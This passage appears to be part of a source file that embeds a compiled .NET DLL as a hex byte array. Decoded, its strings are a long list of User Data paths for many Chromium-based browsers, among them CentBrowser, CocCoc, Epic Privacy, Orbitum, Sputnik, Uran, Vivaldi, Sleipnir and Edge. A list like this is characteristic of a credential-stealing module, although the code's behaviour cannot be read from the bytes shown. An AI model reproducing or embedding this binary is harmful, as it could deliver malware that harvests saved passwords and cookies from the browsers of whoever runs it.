0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x17, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00,\n\t0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x00, 0x2B, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00,\n\t0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D,\n\t0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00,\n\t0x00, 0x21, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00,\n\t0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D,\n\t0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00,\n\t0x00, 0x31, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00,\n\t0x63, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x21, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x00, 0x35, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00,\n\t0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00,\n\t0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00,\n\t0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x29, 0x45, 0x00, 0x70, 0x00,\n\t0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00,\n\t0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x00, 0x3D, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00,\n\t0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00,\n\t0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x0D, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x0F, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00,\n\t0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x23, 0x4F, 0x00, 0x72, 0x00,\n\t0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00,\n\t0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00,\n\t0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x70, 0x00,\n\t0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x00, 0x33,\n\t0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00,\n\t0x6B, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00,\n\t0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x13, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00,\n\t0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x00, 0x31,\n\t0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00,\n\t0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x72, 0x00,\n\t0x61, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x0F, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00,\n\t0x64, 0x00, 0x69, 0x00, 0x00, 0x23, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00,\n\t0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00,\n\t0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x36, 0x00, 0x00, 0x67, 0x46, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x72, 0x00,\n\t0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00,\n\t0x5C, 0x00, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00,\n\t0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x35, 0x00, 0x5C, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x74, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00,\n\t0x5C, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x56, 0x00,\n\t0x69, 0x00, 0x65, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D,\n\t0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00,\n\t0x00, 0x3D, 0x43, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00,\n\t0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x47, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x75, 0x00, 0x70, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x6F, 0x00,\n\t0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x4C, 0x00, 0x69, 0x00, 0x65, 0x00,\n\t0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x21,\n\t0x6C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x51, 0x00,\n\t0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00,\n\t0x66, 0x00, 0x00, 0x25, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00,\n\t0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00,\n\t0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x31, 0x4D, 0x00,\n\t0x69, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00,\n\t0x66, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00,\n\t0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x00,\n\t0xE3, 0x8C, 0xDF, 0xFA, 0xE9, 0xA6, 0x0A, 0x45, 0xB3, 0x12, 0xEA, 0xBA,\n\t0x71, 0x8D, 0x4C, 0x16, 0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20,\n\t0x00, 0x01, 0x05, 0x20, 0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01,\n\t0x0E, 0x12, 0x07, 0x04, 0x15, 0x12, 0x1D, 0x01, 0x1D, 0x1C, 0x15, 0x11,\n\t0x21, 0x01, 0x12, 0x2C, 0x12, 0x2C, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x1D,\n\t0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x08, 0x20,\n\t0x00, 0x15, 0x11, 0x21, 0x01, 0x13, 0x00, 0x06, 0x15, 0x11, 0x21, 0x01,\n\t0x12, 0x2C, 0x04, 0x20, 0x00, 0x13, 0x00, 0x05, 0x20, 0x01, 0x01, 0x13,\n\t0x00, 0x03, 0x20, 0x00, 0x02, 0x03, 0x07, 0x01, 0x0E, 0x07, 0x00, 0x02,\n\t0x01, 0x12, 0x4D, 0x11, 0x51, 0x04, 0x00, 0x01, 0x02, 0x0E, 0x0C, 0x00,\n\t0x06, 0x01, 0x08, 0x0E, 0x11, 0x5D, 0x11, 0x61, 0x11, 0x65, 0x08, 0x04,\n\t0x00, 0x01, 0x0A, 0x08, 0x04, 0x00, 0x01, 0x0E, 0x08, 0x08, 0x00, 0x04,\n\t0x01, 0x08, 0x10, 0x0E, 0x0A, 0x02, 0x05, 0x00, 0x01, 0x01, 0x1D, 0x08,\n\t0x04, 0x00, 0x00, 0x12, 0x71, 0x05, 0x20, 0x01, 0x1D, 0x05, 0x0E, 0x07,\n\t0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x04, 0x20, 0x01, 0x08, 0x0E,\n\t0x04, 0x20, 0x01, 0x01, 0x0B, 0x03, 0x06, 0x11, 0x79, 0x07, 0x00, 0x02,\n\t0x08, 0x11, 0x79, 0x11, 0x79, 0x05, 0x07, 0x03, 0x0B, 0x08, 0x08, 0x0B,\n\t0x07, 0x08, 0x1D, 0x05, 0x08, 0x02, 0x08, 0x08, 0x08, 0x08, 0x08, 0x06,\n\t0x00, 0x02, 0x0A, 0x1D, 0x05, 0x08, 0x07, 0x07, 0x04, 0x1D, 0x0E, 0x08,\n\t0x08, 0x08, 0x05, 0x00, 0x02, 0x02, 0x0E, 0x0E, 0x08, 0x00, 0x02, 0x12,\n\t0x4D, 0x12, 0x4D, 0x12, 0x4D, 0x02, 0x1D, 0x0E, 0x05, 0x07, 0x03, 0x08,\n\t0x08, 0x08, 0x03, 0x20, 0x00, 0x0E, 0x04, 0x07, 0x02, 0x08, 0x08, 0x10,\n\t0x07, 0x0D, 0x07, 0x08, 0x08, 0x08, 0x0B, 0x08, 0x08, 0x0A, 0x1D, 0x0A,\n\t0x08, 0x08, 0x08, 0x07, 0x08, 0x00, 0x02, 0x11, 0x79, 0x11, 0x79, 0x11,\n\t0x79, 0x05, 0x00, 0x01, 0x08, 0x11, 0x79, 0x05, 0x00, 0x01, 0x07, 0x11,\n\t0x79, 0x03, 0x1D, 0x11, 0x24, 0x05, 0x00, 0x01, 0x0B, 0x11, 0x79, 0x04,\n\t0x00, 0x01, 0x0D, 0x0D, 0x04, 0x20, 0x01, 0x01, 0x0A, 0x0A, 0x07, 0x07,\n\t0x08, 0x08, 0x1D, 0x0E, 0x08, 0x08, 0x08, 0x08, 0x04, 0x20, 0x01, 0x0E,\n\t0x08, 0x06, 0x20, 0x01, 0x1D, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x01, 0x0E,\n\t0x1D, 0x03, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x08, 0x15, 0x07, 0x11, 0x08,\n\t0x08, 0x08, 0x08, 0x1D, 0x11, 0x20, 0x0B, 0x08, 0x08, 0x0A, 0x0A, 0x08,\n\t0x08, 0x08, 0x08, 0x08, 0x08, 0x07, 0x03, 0x1D, 0x11, 0x28, 0x05, 0x00,\n\t0x01, 0x0A, 0x11, 0x79, 0x03, 0x1D, 0x11, 0x20, 0x04, 0x00, 0x01, 0x0E,\n\t0x0B, 0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x15, 0x11,\n\t0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15,\n\t0x12, 0x2D, 0x02, 0x0E, 0x0E, 0x0A, 0x20, 0x00, 0x15, 0x11, 0x31, 0x02,\n\t0x13, 0x00, 0x13, 0x01, 0x06, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x0A,\n\t0x20, 0x00, 0x15, 0x11, 0x35, 0x02, 0x13, 0x00, 0x13, 0x01, 0x06, 0x15,\n\t0x11, 0x35, 0x02, 0x0E, 0x0E, 0x04, 0x20, 0x00, 0x13, 0x01, 0x0A, 0x20,\n\t0x01, 0x01, 0x15, 0x12, 0x80, 0x99, 0x01, 0x13, 0x00, 0x17, 0x07, 0x0D,\n\t0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C,\n\t0x08, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x11, 0x39, 0x05, 0x15, 0x12,\n\t0x1D, 0x01, 0x0E, 0x05, 0x20, 0x00, 0x1D, 0x13, 0x00, 0x04, 0x00, 0x01,\n\t0x01, 0x0E, 0x04, 0x00, 0x01, 0x0D, 0x0E, 0x04, 0x20, 0x00, 0x11, 0x39,\n\t0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30, 0x15, 0x11, 0x31,\n\t0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12,\n\t0x1D, 0x01, 0x12, 0x30, 0x1E, 0x07, 0x14, 0x15, 0x12, 0x1D, 0x01, 0x12,\n\t0x30, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x0E, 0x0E,\n\t0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x11, 0x39, 0x14,\n\t0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x15, 0x11, 0x31, 0x02,\n\t0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D,\n\t0x01, 0x12, 0x34, 0x11, 0x07, 0x08, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34,\n\t0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x14, 0x07, 0x03,\n\t0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E,\n\t0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12,\n\t0x38, 0x11, 0x07, 0x08, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x1D, 0x0E,\n\t0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x14, 0x07, 0x03, 0x15, 0x12,\n\t0x1D, 0x01, 0x12, 0x3C, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11,\n\t0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x19,\n\t0x07, 0x0F, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x1D, 0x0E, 0x08, 0x0E,\n\t0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x11,\n\t0x39, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x0E, 0x1D,\n\t0x05, 0x05, 0x07, 0x02, 0x0D, 0x11, 0x39, 0x06, 0x20, 0x03, 0x01, 0x08,\n\t0x08, 0x08, 0x06, 0x00, 0x01, 0x11, 0x80, 0xA5, 0x0D, 0x07, 0x20, 0x01,\n\t0x11, 0x39, 0x11, 0x80, 0xA5, 0x06, 0x07, 0x02, 0x11, 0x39, 0x11, 0x39,\n\t0x0D, 0x20, 0x08, 0x01, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x11,\n\t0x80, 0xA9, 0x05, 0x20, 0x01, 0x11, 0x39, 0x0D, 0x07, 0x07, 0x05, 0x0D,\n\t0x0D, 0x0E, 0x08, 0x0D, 0x05, 0x00, 0x01, 0x0E, 0x1D, 0x0E, 0x0B, 0x07,\n\t0x04, 0x15, 0x12, 0x1D, 0x01, 0x0E, 0x1D, 0x0E, 0x08, 0x0E, 0x06, 0x00,\n\t0x03, 0x0E, 0x0E, 0x0E, 0x0E, 0x05, 0x00, 0x01, 0x1D, 0x0E, 0x0E, 0x04,\n\t0x20, 0x01, 0x02, 0x0E, 0x06, 0x00, 0x01, 0x0E, 0x11, 0x80, 0xB5, 0x07,\n\t0x20, 0x02, 0x01, 0x13, 0x00, 0x13, 0x01, 0x08, 0xB7, 0x7A, 0x5C, 0x56,\n\t0x19, 0x34, 0xE0, 0x89, 0x08, 0xB0, 0x3F, 0x5F, 0x7F, 0x11, 0xD5, 0x0A,\n\t0x3A, 0x03, 0x06, 0x1D, 0x05, 0x02, 0x06, 0x0B, 0x03, 0x06, 0x1D, 0x0E,\n\t0x04, 0x06, 0x1D, 0x11, 0x24, 0x02, 0x06, 0x07, 0x04, 0x06, 0x1D, 0x11,\n\t0x28, 0x02, 0x06, 0x0E, 0x07, 0x06, 0x15, 0x12, 0x2D, 0x02, 0x0E, 0x0E,\n\t0x03, 0x06, 0x11, 0x40, 0x02, 0x06, 0x0A, 0x08, 0x00, 0x00, 0x15, 0x12,\n\t0x1D, 0x01, 0x1D, 0x1C, 0x05, 0x20, 0x02, 0x0B, 0x08, 0x08, 0x05, 0x20,\n\t0x02, 0x0A, 0x08, 0x08, 0x03, 0x20, 0x00, 0x08, 0x04, 0x20, 0x00, 0x1D,\n\t0x0E, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x0E, 0x04, 0x20, 0x01, 0x08, 0x08,\n\t0x04, 0x20, 0x01, 0x02, 0x0A, 0x04, 0x20, 0x01, 0x02, 0x0B, 0x08, 0x00,\n\t0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x0A, 0x00, 0x02, 0x15, 0x12,\n\t0x1D, 0x01, 0x12, 0x2C, 0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D,\n\t0x01, 0x12, 0x30, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30,\n\t0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x0A,\n\t0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x0E, 0x0E, 0x08, 0x00,\n\t0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x0A, 0x00, 0x02, 0x15, 0x12,\n\t0x1D, 0x01, 0x12, 0x38, 0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D,\n\t0x01, 0x12, 0x3C, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C,\n\t0x0E, 0x0E, 0x05, 0x00, 0x01, 0x11, 0x39, 0x0E, 0x05, 0x00, 0x01, 0x11,\n\t0x39, 0x0D, 0x04, 0x00, 0x01, 0x0E, 0x0D, 0x09, 0x00, 0x02, 0x15, 0x12,\n\t0x1D, 0x01, 0x0E, 0x0E, 0x0E, 0x03, 0x00, 0x00, 0x01, 0x03, 0x28, 0x00,\n\t0x0E, 0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x01,\n\t0x00, 0x01, 0x00, 0x54, 0x02, 0x16, 0x57, 0x72, 0x61, 0x70, 0x4E, 0x6F,\n\t0x6E, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68,\n\t0x72, 0x6F, 0x77, 0x73, 0x01, 0x08, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x47, 0x01, 0x00, 0x1A, 0x2E, 0x4E, 0x45, 0x54, 0x46, 0x72,\n\t0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x2C, 0x56, 0x65, 0x72, 0x73,\n\t0x69, 0x6F, 0x6E, 0x3D, 0x76, 0x34, 0x2E, 0x30, 0x01, 0x00, 0x54, 0x0E,\n\t0x14, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x44, 0x69,\n\t0x73, 0x70, 0x6C, 0x61, 0x79, 0x4E, 0x61, 0x6D, 0x65, 0x10, 0x2E, 0x4E,\n\t0x45, 0x54, 0x20, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B,\n\t0x20, 0x34, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x6C, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x86, 0x7F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x78, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x43, 0x6F, 0x72, 0x44, 0x6C,\n\t0x6C, 0x4D, 0x61, 0x69, 0x6E, 0x00, 0x6D, 0x73, 0x63, 0x6F, 0x72, 0x65,\n\t0x65, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x25,\n\t0x00, 0x20, 0x00, 0x10, 0x00, 0x01, 0x02, 0x03, 0x04, 0x06, 0x08, 0x08,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,\n\t0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,\n\t0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x58, 0x80, 0x00, 0x00,\n\t0x4C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x4C, 0x02, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00,\n\t0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00,\n\t0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 